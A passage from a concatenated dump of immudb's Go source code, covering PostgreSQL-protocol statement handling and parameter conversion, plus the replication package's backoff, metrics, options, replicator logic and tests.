mr := &messageReader{ conn: c1, } s := session{ tlsConfig: cfg, mr: mr, log: logger.NewSimpleLogger("test", os.Stdout), } err = s.handshake() require.ErrorIs(t, err, io.ErrClosedPipe) } ================================================ FILE: pkg/pgsql/server/stmts_handler.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "regexp" pserr "github.com/codenotary/immudb/pkg/pgsql/errors" ) var ( set = regexp.MustCompile(`(?i)set\s+.+`) selectVersion = regexp.MustCompile(`(?i)select\s+version\(\s*\)`) dealloc = regexp.MustCompile(`(?i)deallocate\s+\"([^\"]+)\"`) ) func (s *session) isInBlackList(statement string) bool { if set.MatchString(statement) { return true } if statement == ";" { return true } return false } func (s *session) isEmulableInternally(statement string) interface{} { if selectVersion.MatchString(statement) { return &version{} } if dealloc.MatchString(statement) { matches := dealloc.FindStringSubmatch(statement) if len(matches) == 2 { return &deallocate{plan: matches[1]} } } return nil } func (s *session) tryToHandleInternally(command interface{}) error { switch cmd := command.(type) { case *version: if err := s.writeVersionInfo(); err != nil { return err } case *deallocate: delete(s.statements, cmd.plan) return nil default: return pserr.ErrMessageCannotBeHandledInternally } return nil } type version struct{} type deallocate struct { plan string } ================================================ FILE: pkg/pgsql/server/types.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "encoding/binary" "encoding/hex" "fmt" "strconv" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" ) func buildNamedParams(paramsType []sql.ColDescriptor, paramsVal []interface{}) ([]*schema.NamedParam, error) { pMap := make(map[string]interface{}) for index, param := range paramsType { name := param.Column val := paramsVal[index] // text param if p, ok := val.(string); ok { switch param.Type { case sql.IntegerType: int, err := strconv.Atoi(p) if err != nil { return nil, err } pMap[name] = int64(int) case sql.VarcharType: pMap[name] = p case sql.BooleanType: pMap[name] = p == "true" case sql.BLOBType: d, err := hex.DecodeString(p) if err != nil { return nil, err } pMap[name] = d } } // binary param if p, ok := val.([]byte); ok { switch param.Type { case sql.IntegerType: i, err := getInt64(p) if err != nil { return nil, err } pMap[name] = i case sql.VarcharType: pMap[name] = string(p) case sql.BooleanType: v := false if p[0] == byte(1) { v = true } pMap[name] = v case sql.BLOBType: pMap[name] = p } } } return schema.EncodeParams(pMap) } func getInt64(p []byte) (int64, error) { switch len(p) { case 8: return int64(binary.BigEndian.Uint64(p)), nil case 4: return int64(binary.BigEndian.Uint32(p)), nil case 2: return int64(binary.BigEndian.Uint16(p)), nil default: return 0, fmt.Errorf("cannot convert a slice of %d byte in an INTEGER parameter", len(p)) } } ================================================ FILE: pkg/pgsql/server/types_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "encoding/binary" "encoding/hex" "fmt" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/stretchr/testify/require" ) func Test_getInt64(t *testing.T) { b64i := make([]byte, 8) binary.BigEndian.PutUint64(b64i, 1) i, err := getInt64(b64i) require.NoError(t, err) require.Equal(t, int64(1), i) b32i := make([]byte, 4) binary.BigEndian.PutUint32(b32i, 1) i, err = getInt64(b32i) require.NoError(t, err) require.Equal(t, int64(1), i) b16i := make([]byte, 2) binary.BigEndian.PutUint16(b16i, 1) i, err = getInt64(b16i) require.NoError(t, err) require.Equal(t, int64(1), i) bxxx := make([]byte, 64) _, err = getInt64(bxxx) require.ErrorContains(t, err, fmt.Sprintf("cannot convert a slice of %d byte in an INTEGER parameter", len(bxxx))) } func Test_buildNamedParams(t *testing.T) { // integer error cols := []sql.ColDescriptor{ { Column: "p1", Type: "INTEGER", }, } pt := []interface{}{[]byte(`1`)} _, err := buildNamedParams(cols, pt) require.ErrorContains(t, err, fmt.Sprintf("cannot convert a slice of %d byte in an INTEGER parameter", len(cols))) // varchar error cols = []sql.ColDescriptor{ { Column: "p1", Type: "VARCHAR", }, } pt = []interface{}{[]byte(`1`)} _, err = buildNamedParams(cols, pt) require.NoError(t, err) // blob cols = []sql.ColDescriptor{ { Column: "p1", Type: "BLOB", }, } pt = []interface{}{[]byte(`1`)} _, err = buildNamedParams(cols, pt) require.NoError(t, err) // blob text error cols = []sql.ColDescriptor{ { Column: "p1", Type: "BLOB", }, } pt = []interface{}{"blob"} _, err = buildNamedParams(cols, pt) require.ErrorIs(t, err, hex.InvalidByteError(108)) } ================================================ FILE: pkg/pgsql/server/version.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "github.com/codenotary/immudb/embedded/sql" bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) func (s *session) writeVersionInfo() error { cols := []sql.ColDescriptor{{Column: "version", Type: sql.VarcharType}} if _, err := s.writeMessage(bm.RowDescription(cols, nil)); err != nil { return err } value := sql.NewVarchar(pgmeta.PgsqlServerVersionMessage) rows := []*sql.Row{{ ValuesByPosition: []sql.TypedValue{value}, ValuesBySelector: map[string]sql.TypedValue{"version": value}, }} if _, err := s.writeMessage(bm.DataRow(rows, len(cols), nil)); err != nil { return err } return nil } ================================================ FILE: pkg/replication/delayer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "math" "math/rand" "time" ) type Delayer interface { DelayAfter(retries int) time.Duration } type expBackoff struct { retryMinDelay time.Duration retryMaxDelay time.Duration retryDelayExp float64 retryJitter float64 } func (exp *expBackoff) DelayAfter(retries int) time.Duration { return time.Duration( math.Min( float64(exp.retryMinDelay)*math.Pow(exp.retryDelayExp, float64(retries)), float64(exp.retryMaxDelay), ) * (1.0 - rand.Float64()*exp.retryJitter), ) } ================================================ FILE: pkg/replication/metrics.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) // TODO: Metrics should be put behind abstract metrics interfaces to avoid direct dependency on prometheus SDK var ( _metricsTxWaitQueueHistogram = promauto.NewHistogramVec(prometheus.HistogramOpts{ Name: "immudb_replication_tx_wait_queue", Buckets: prometheus.ExponentialBucketsRange(0.001, 10.0, 16), Help: "histogram of time spent in the waiting queue before replicator picks up the transaction", }, []string{"db"}) _metricsReplicationTimeHistogram = promauto.NewHistogramVec(prometheus.HistogramOpts{ Name: "immudb_replication_commit_time", Buckets: prometheus.ExponentialBucketsRange(0.001, 10.0, 16), Help: "histogram of time spent by replicators to replicate a single transaction", }, []string{"db"}) _metricsReplicators = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_replication_replicators", Help: "number of replicators available", }, []string{"db"}) _metricsReplicatorsActive = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_replication_replicators_active", Help: "number of replicators actively processing transactions", }, []string{"db"}) _metricsReplicatorsInRetryDelay = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_replication_replicators_retry_delay", Help: "number of replicators that are currently delaying the replication due to a replication error", }, []string{"db"}) _metricsReplicationRetries = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_replication_replicators_retries", Help: "number of retries while replicating transactions caused by errors", }, []string{"db"}) _metricsReplicationPrimaryCommittedTxID = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_replication_primary_committed_tx_id", Help: "the latest know transaction ID committed on the primary node", }, []string{"db"}) _metricsAllowCommitUpToTxID = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_replication_allow_commit_up_to_tx_id", Help: "most recently received confirmation up to which commit id the replica is allowed to durably commit", }, []string{"db"}) _metricsReplicationLag = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_replication_lag", Help: "The difference between the last transaction committed by the primary and replicated by the replica", }, []string{"db"}) ) type metrics struct { txWaitQueueHistogram prometheus.Observer replicationTimeHistogram prometheus.Observer replicationRetries prometheus.Counter replicators prometheus.Gauge replicatorsActive prometheus.Gauge replicatorsInRetryDelay prometheus.Gauge primaryCommittedTxID prometheus.Gauge allowCommitUpToTxID prometheus.Gauge replicationLag prometheus.Gauge } // metricsForDb returns metrics object for particular database name func metricsForDb(dbName string) metrics { return metrics{ txWaitQueueHistogram: _metricsTxWaitQueueHistogram.WithLabelValues(dbName), replicationTimeHistogram: _metricsReplicationTimeHistogram.WithLabelValues(dbName), replicationRetries: _metricsReplicationRetries.WithLabelValues(dbName), replicators: _metricsReplicators.WithLabelValues(dbName), replicatorsActive: _metricsReplicatorsActive.WithLabelValues(dbName), replicatorsInRetryDelay: _metricsReplicatorsInRetryDelay.WithLabelValues(dbName), primaryCommittedTxID: _metricsReplicationPrimaryCommittedTxID.WithLabelValues(dbName), allowCommitUpToTxID: _metricsAllowCommitUpToTxID.WithLabelValues(dbName), replicationLag: _metricsReplicationLag.WithLabelValues(dbName), } } // reset ensures all necessary gauges are zeroed func (m *metrics) reset() { m.replicators.Set(0) m.replicatorsActive.Set(0) m.replicatorsInRetryDelay.Set(0) m.primaryCommittedTxID.Set(0) m.allowCommitUpToTxID.Set(0) m.replicationLag.Set(0) } // replicationTimeHistogramTimer returns prometheus timer for replicationTimeHistogram func (m *metrics) replicationTimeHistogramTimer() *prometheus.Timer { return prometheus.NewTimer(m.replicationTimeHistogram) } ================================================ FILE: pkg/replication/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "fmt" "time" "github.com/codenotary/immudb/pkg/client" ) const ( DefaultChunkSize int = 64 * 1024 // 64 * 1024 64 KiB DefaultPrefetchTxBufferSize int = 100 DefaultReplicationCommitConcurrency int = 10 DefaultAllowTxDiscarding = false DefaultSkipIntegrityCheck = false DefaultWaitForIndexing = false ) type ClientFactory func(string, int) client.ImmuClient type Options struct { primaryDatabase string primaryHost string primaryPort int primaryUsername string primaryPassword string streamChunkSize int prefetchTxBufferSize int replicationCommitConcurrency int allowTxDiscarding bool skipIntegrityCheck bool waitForIndexing bool delayer Delayer clientFactory ClientFactory } func DefaultOptions() *Options { delayer := &expBackoff{ retryMinDelay: time.Second, retryMaxDelay: 2 * time.Minute, retryDelayExp: 2, retryJitter: 0.1, } return &Options{ delayer: delayer, streamChunkSize: DefaultChunkSize, prefetchTxBufferSize: DefaultPrefetchTxBufferSize, replicationCommitConcurrency: DefaultReplicationCommitConcurrency, allowTxDiscarding: DefaultAllowTxDiscarding, skipIntegrityCheck: DefaultSkipIntegrityCheck, waitForIndexing: DefaultWaitForIndexing, clientFactory: newClient, } } func newClient(host string, port int) client.ImmuClient { opts := client.DefaultOptions(). WithAddress(host). WithPort(port). WithDisableIdentityCheck(true) return client.NewClient().WithOptions(opts) } func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", ErrInvalidOptions) } if opts.streamChunkSize <= 0 { return fmt.Errorf("%w: invalid StreamChunkSize", ErrInvalidOptions) } if opts.prefetchTxBufferSize <= 0 { return fmt.Errorf("%w: invalid PrefetchTxBufferSize", ErrInvalidOptions) } if opts.replicationCommitConcurrency <= 0 { return fmt.Errorf("%w: invalid ReplicationCommitConcurrency", ErrInvalidOptions) } if opts.delayer == nil { return fmt.Errorf("%w: invalid Delayer", ErrInvalidOptions) } return nil } // WithPrimaryDatabase sets the source database name func (o *Options) WithPrimaryDatabase(primaryDatabase string) *Options { o.primaryDatabase = primaryDatabase return o } // WithPrimaryHost sets the source database address func (o *Options) WithPrimaryHost(primaryHost string) *Options { o.primaryHost = primaryHost return o } // WithPrimaryPort sets the source database port func (o *Options) WithPrimaryPort(primaryPort int) *Options { o.primaryPort = primaryPort return o } // WithPrimaryUsername sets username used for replication func (o *Options) WithPrimaryUsername(primaryUsername string) *Options { o.primaryUsername = primaryUsername return o } // WithPrimaryPassword sets password used for replication func (o *Options) WithPrimaryPassword(primaryPassword string) *Options { o.primaryPassword = primaryPassword return o } // WithStreamChunkSize sets streaming chunk size func (o *Options) WithStreamChunkSize(streamChunkSize int) *Options { o.streamChunkSize = streamChunkSize return o } // WithPrefetchTxBufferSize sets tx buffer size func (o *Options) WithPrefetchTxBufferSize(prefetchTxBufferSize int) *Options { o.prefetchTxBufferSize = prefetchTxBufferSize return o } // WithReplicationCommitConcurrency sets the number of goroutines doing replication func (o *Options) WithReplicationCommitConcurrency(replicationCommitConcurrency int) *Options { o.replicationCommitConcurrency = replicationCommitConcurrency return o } // WithAllowTxDiscarding enable auto discarding of precommitted transactions func (o *Options) WithAllowTxDiscarding(allowTxDiscarding bool) *Options { o.allowTxDiscarding = allowTxDiscarding return o } // WithSkipIntegrityCheck disable integrity checks when reading data during replication func (o *Options) WithSkipIntegrityCheck(skipIntegrityCheck bool) *Options { o.skipIntegrityCheck = skipIntegrityCheck return o } // WithWaitForIndexing wait for indexing to be up to date during replication func (o *Options) WithWaitForIndexing(waitForIndexing bool) *Options { o.waitForIndexing = waitForIndexing return o } // WithDelayer sets delayer used to pause re-attempts func (o *Options) WithDelayer(delayer Delayer) *Options { o.delayer = delayer return o } // WithClientFactoryFunc specifies a function to instantiate a new client func (o *Options) WithClientFactoryFunc(clientFactory func(string, int) client.ImmuClient) *Options { o.clientFactory = clientFactory return o } ================================================ FILE: pkg/replication/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "testing" "time" "github.com/stretchr/testify/require" ) func TestOptions(t *testing.T) { opts := &Options{} require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) delayer := &expBackoff{ retryMinDelay: time.Second, retryMaxDelay: 2 * time.Minute, retryDelayExp: 2, retryJitter: 0.1, } opts.WithPrimaryDatabase("defaultdb"). WithPrimaryHost("127.0.0.1"). WithPrimaryPort(3322). WithPrimaryUsername("immudbUsr"). WithPrimaryPassword("immdubPwd"). WithStreamChunkSize(DefaultChunkSize). WithPrefetchTxBufferSize(DefaultPrefetchTxBufferSize). WithReplicationCommitConcurrency(DefaultReplicationCommitConcurrency). WithAllowTxDiscarding(true). WithSkipIntegrityCheck(true). WithWaitForIndexing(true). WithDelayer(delayer) require.Equal(t, "defaultdb", opts.primaryDatabase) require.Equal(t, "127.0.0.1", opts.primaryHost) require.Equal(t, 3322, opts.primaryPort) require.Equal(t, "immudbUsr", opts.primaryUsername) require.Equal(t, "immdubPwd", opts.primaryPassword) require.Equal(t, DefaultChunkSize, opts.streamChunkSize) require.Equal(t, DefaultPrefetchTxBufferSize, opts.prefetchTxBufferSize) require.Equal(t, DefaultReplicationCommitConcurrency, opts.replicationCommitConcurrency) require.True(t, opts.allowTxDiscarding) require.True(t, opts.skipIntegrityCheck) require.True(t, opts.waitForIndexing) require.Equal(t, delayer, opts.delayer) require.NoError(t, opts.Validate()) defaultOpts := DefaultOptions() require.NotNil(t, defaultOpts) require.NoError(t, defaultOpts.Validate()) } ================================================ FILE: pkg/replication/replicator.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "context" "crypto/sha256" "encoding/binary" "errors" "fmt" "io" "strings" "sync" "time" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/stream" "github.com/rs/xid" ) var ErrIllegalArguments = errors.New("illegal arguments") var ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) var ErrAlreadyRunning = errors.New("already running") var ErrAlreadyStopped = errors.New("already stopped") var ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") var ErrNoSynchronousReplicationOnPrimary = errors.New("primary is not running with synchronous replication") var ErrInvalidReplicationMetadata = errors.New("invalid replication metadata retrieved") var ErrPrimaryServerVersionMismatch = errors.New("primary server version does not match") type prefetchTxEntry struct { data []byte addedAt time.Time } type TxReplicator struct { uuid xid.ID db database.DB opts *Options _primaryDB string // just a string denoting primary database i.e. db@host:port logger logger.Logger context context.Context cancelFunc context.CancelFunc client client.ImmuClient streamSrvFactory stream.ServiceFactory exportTxStream schema.ImmuService_StreamExportTxClient exportTxStreamReceiver stream.MsgReceiver lastTx uint64 prefetchTxBuffer chan prefetchTxEntry // buffered channel of exported txs replicationConcurrency int allowTxDiscarding bool skipIntegrityCheck bool waitForIndexing bool delayer Delayer consecutiveFailures int running bool err error mutex sync.Mutex metrics metrics } func NewTxReplicator(uuid xid.ID, db database.DB, opts *Options, logger logger.Logger) (*TxReplicator, error) { if db == nil || logger == nil { return nil, fmt.Errorf("%w: no database or logger provided", ErrIllegalArguments) } err := opts.Validate() if err != nil { return nil, err } return &TxReplicator{ uuid: uuid, db: db, opts: opts, logger: logger, _primaryDB: fullAddress(opts.primaryDatabase, opts.primaryHost, opts.primaryPort), streamSrvFactory: stream.NewStreamServiceFactory(opts.streamChunkSize), prefetchTxBuffer: make(chan prefetchTxEntry, opts.prefetchTxBufferSize), replicationConcurrency: opts.replicationCommitConcurrency, allowTxDiscarding: opts.allowTxDiscarding, skipIntegrityCheck: opts.skipIntegrityCheck, waitForIndexing: opts.waitForIndexing, delayer: opts.delayer, metrics: metricsForDb(db.GetName()), }, nil } func (txr *TxReplicator) handleError(err error) (terminate bool) { txr.mutex.Lock() defer txr.mutex.Unlock() if err == nil { txr.consecutiveFailures = 0 return false } if errors.Is(err, ErrAlreadyStopped) || errors.Is(err, ErrReplicaDivergedFromPrimary) || errors.Is(err, ErrPrimaryServerVersionMismatch) { return true } txr.consecutiveFailures++ txr.logger.Infof("Replication error on database '%s' from '%s' (%d consecutive failures). Reason: %s", txr.db.GetName(), txr._primaryDB, txr.consecutiveFailures, err.Error()) timer := time.NewTimer(txr.delayer.DelayAfter(txr.consecutiveFailures)) defer timer.Stop() select { case <-txr.context.Done(): timer.Stop() return true case <-timer.C: } retryableError := !strings.Contains(err.Error(), "no session found") if txr.consecutiveFailures >= 3 || !retryableError { txr.disconnect() } return false } func (txr *TxReplicator) Start() error { txr.mutex.Lock() defer txr.mutex.Unlock() if txr.running { return ErrAlreadyRunning } txr.logger.Infof("Initializing replication from '%s' to '%s'...", txr._primaryDB, txr.db.GetName()) txr.context, txr.cancelFunc = context.WithCancel(context.Background()) txr.running = true go txr.replicationLoop() txr.metrics.reset() for i := 0; i < txr.replicationConcurrency; i++ { go func() { txr.metrics.replicators.Inc() defer txr.metrics.replicators.Dec() for etx := range txr.prefetchTxBuffer { txr.metrics.txWaitQueueHistogram.Observe(time.Since(etx.addedAt).Seconds()) if !txr.replicateSingleTx(etx.data) { break } } }() } txr.logger.Infof("Replication from '%s' to '%s' successfully initialized", txr._primaryDB, txr.db.GetName()) return nil } func (txr *TxReplicator) replicationLoop() { txr.logger.Infof("Replication for '%s' started fetching transaction from '%s'...", txr.db.GetName(), txr._primaryDB) var err error for { err = txr.fetchNextTx() if txr.handleError(err) { break } } txr.logger.Infof("Replication for '%s' stopped fetching transaction from '%s'", txr.db.GetName(), txr._primaryDB) if errors.Is(err, ErrReplicaDivergedFromPrimary) || errors.Is(err, ErrPrimaryServerVersionMismatch) { txr.stopWithErr(err) } } func (txr *TxReplicator) replicateSingleTx(data []byte) bool { txr.metrics.replicatorsActive.Inc() defer txr.metrics.replicatorsActive.Dec() defer txr.metrics.replicationTimeHistogramTimer().ObserveDuration() consecutiveFailures := 0 // replication must be retried as many times as necessary for { _, err := txr.db.ReplicateTx(txr.context, data, txr.skipIntegrityCheck, txr.waitForIndexing) if err == nil { break // transaction successfully replicated } if errors.Is(err, ErrAlreadyStopped) { return false } if strings.Contains(err.Error(), "tx already committed") { break // transaction successfully replicated } txr.logger.Infof("Failed to replicate transaction from '%s' to '%s'. Reason: %s", txr._primaryDB, txr.db.GetName(), err.Error()) consecutiveFailures++ if !txr.replicationFailureDelay(consecutiveFailures) { return false } } return true } func (txr *TxReplicator) replicationFailureDelay(consecutiveFailures int) bool { txr.metrics.replicationRetries.Inc() txr.metrics.replicatorsInRetryDelay.Inc() defer txr.metrics.replicatorsInRetryDelay.Dec() timer := time.NewTimer(txr.delayer.DelayAfter(consecutiveFailures)) defer timer.Stop() select { case <-txr.context.Done(): timer.Stop() return false case <-timer.C: return true } } func fullAddress(db, address string, port int) string { return fmt.Sprintf("%s@%s:%d", db, address, port) } func (txr *TxReplicator) connect() error { txr.logger.Infof("Connecting to '%s':'%d' for database '%s'...", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName()) txr.client = txr.opts.clientFactory(txr.opts.primaryHost, txr.opts.primaryPort) err := txr.client.OpenSession( txr.context, []byte(txr.opts.primaryUsername), []byte(txr.opts.primaryPassword), txr.opts.primaryDatabase) if err != nil { return err } info, err := txr.client.ServerInfo(txr.context, &schema.ServerInfoRequest{}) if err != nil { txr.logger.Errorf("Connection to %s failed: unable to get primary server info: %v", txr.db.GetName(), err) return err } if info.Version != version.Version { return ErrPrimaryServerVersionMismatch } txr.logger.Infof("Connection to '%s':'%d' for database '%s' successfully established", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName()) txr.exportTxStream, err = txr.client.StreamExportTx(txr.context) if err != nil { return err } txr.exportTxStreamReceiver = txr.streamSrvFactory.NewMsgReceiver(txr.exportTxStream) return nil } func (txr *TxReplicator) disconnect() { if txr.client == nil { return } txr.logger.Infof("Disconnecting from '%s':'%d' for database '%s'...", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName()) if txr.exportTxStream != nil { txr.exportTxStream.CloseSend() txr.exportTxStream = nil } txr.client.CloseSession(txr.context) txr.client = nil txr.logger.Infof("Disconnected from '%s':'%d' for database '%s'", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName()) } func (txr *TxReplicator) fetchNextTx() error { txr.mutex.Lock() defer txr.mutex.Unlock() if !txr.running { return ErrAlreadyStopped } if txr.exportTxStream == nil { err := txr.connect() if err != nil { return err } } commitState, err := txr.db.CurrentState() if err != nil { return err } if txr.lastTx == 0 { txr.lastTx = commitState.PrecommittedTxId } nextTx := txr.lastTx + 1 var state *schema.ReplicaState syncReplicationEnabled := txr.db.IsSyncReplicationEnabled() if syncReplicationEnabled { state = &schema.ReplicaState{ UUID: txr.uuid.String(), CommittedTxID: commitState.TxId, CommittedAlh: commitState.TxHash, PrecommittedTxID: commitState.PrecommittedTxId, PrecommittedAlh: commitState.PrecommittedTxHash, } } req := &schema.ExportTxRequest{ Tx: nextTx, ReplicaState: state, AllowPreCommitted: syncReplicationEnabled, SkipIntegrityCheck: txr.skipIntegrityCheck, } txr.exportTxStream.Send(req) etx, emd, err := txr.exportTxStreamReceiver.ReadFully() if err != nil { defer txr.disconnect() } txr.maybeUpdateReplicationLag(commitState.TxId, emd) if err != nil && !errors.Is(err, io.EOF) { if strings.Contains(err.Error(), database.ErrNoNewTransactions.Error()) { txr.metrics.replicationLag.Set(0) return err } if strings.Contains(err.Error(), "replica commit state diverged from primary") { txr.logger.Errorf("replica commit state at '%s' diverged from primary's", txr.db.GetName()) return ErrReplicaDivergedFromPrimary } if strings.Contains(err.Error(), "replica precommit state diverged from primary") { if !txr.allowTxDiscarding { txr.logger.Errorf("replica precommit state at '%s' diverged from primary's", txr.db.GetName()) return ErrReplicaDivergedFromPrimary } txr.logger.Infof("discarding precommit txs since %d from '%s'. Reason: %s", nextTx, txr.db.GetName(), err.Error()) err = txr.db.DiscardPrecommittedTxsSince(commitState.TxId + 1) if err != nil { return err } txr.lastTx = commitState.TxId txr.logger.Infof("precommit txs successfully discarded from '%s'", txr.db.GetName()) return nil } return err } if syncReplicationEnabled { bMayCommitUpToTxID, ok := emd["may-commit-up-to-txid-bin"] if !ok { return ErrNoSynchronousReplicationOnPrimary } bmayCommitUpToAlh, ok := emd["may-commit-up-to-alh-bin"] if !ok { return ErrNoSynchronousReplicationOnPrimary } bCommittedTxID, ok := emd["committed-txid-bin"] if !ok { return ErrNoSynchronousReplicationOnPrimary } if len(bMayCommitUpToTxID) != 8 || len(bmayCommitUpToAlh) != sha256.Size || len(bCommittedTxID) != 8 { return ErrInvalidReplicationMetadata } mayCommitUpToTxID := binary.BigEndian.Uint64(bMayCommitUpToTxID) committedTxID := binary.BigEndian.Uint64(bCommittedTxID) var mayCommitUpToAlh [sha256.Size]byte copy(mayCommitUpToAlh[:], bmayCommitUpToAlh) txr.metrics.primaryCommittedTxID.Set(float64(committedTxID)) txr.metrics.allowCommitUpToTxID.Set(float64(mayCommitUpToTxID)) if mayCommitUpToTxID > commitState.TxId { err = txr.db.AllowCommitUpto(mayCommitUpToTxID, mayCommitUpToAlh) if err != nil { if strings.Contains(err.Error(), "replica commit state diverged from") { txr.logger.Errorf("replica commit state at '%s' diverged from primary's", txr.db.GetName()) return ErrReplicaDivergedFromPrimary } return err } } } if len(etx) > 0 { // in some cases the transaction is not provided but only the primary commit state txr.prefetchTxBuffer <- prefetchTxEntry{ data: etx, addedAt: time.Now(), } txr.lastTx++ } return nil } func (txr *TxReplicator) Stop() error { return txr.stopWithErr(nil) } func (txr *TxReplicator) stopWithErr(err error) error { if txr.cancelFunc != nil { txr.cancelFunc() } txr.mutex.Lock() defer txr.mutex.Unlock() if !txr.running { return ErrAlreadyStopped } txr.logger.Infof("Stopping replication of database '%s'...", txr.db.GetName()) close(txr.prefetchTxBuffer) txr.disconnect() txr.running = false txr.err = err txr.logger.Infof("Replication of database '%s' successfully stopped", txr.db.GetName()) return nil } func (txr *TxReplicator) Error() error { txr.mutex.Lock() defer txr.mutex.Unlock() return txr.err } func (txr *TxReplicator) maybeUpdateReplicationLag(lastCommittedTxID uint64, metadata map[string][]byte) { primaryLastCommittedTxIDBin, ok := metadata["committed-txid-bin"] if !ok { return } lag := binary.BigEndian.Uint64(primaryLastCommittedTxIDBin) - lastCommittedTxID txr.metrics.replicationLag.Set(float64(lag)) } ================================================ FILE: pkg/replication/replicator_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "context" "os" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/rs/xid" "github.com/stretchr/testify/require" ) func TestReplication(t *testing.T) { path := t.TempDir() rOpts := DefaultOptions(). WithPrimaryDatabase("defaultdb"). WithPrimaryHost("127.0.0.1"). WithPrimaryPort(3322). WithPrimaryUsername("immudb"). WithPrimaryPassword("immudb"). WithStreamChunkSize(DefaultChunkSize) logger := logger.NewSimpleLogger("logger", os.Stdout) db, err := database.NewDB("replicated_defaultdb", nil, database.DefaultOptions().AsReplica(true).WithDBRootPath(path), logger) require.NoError(t, err) txReplicator, err := 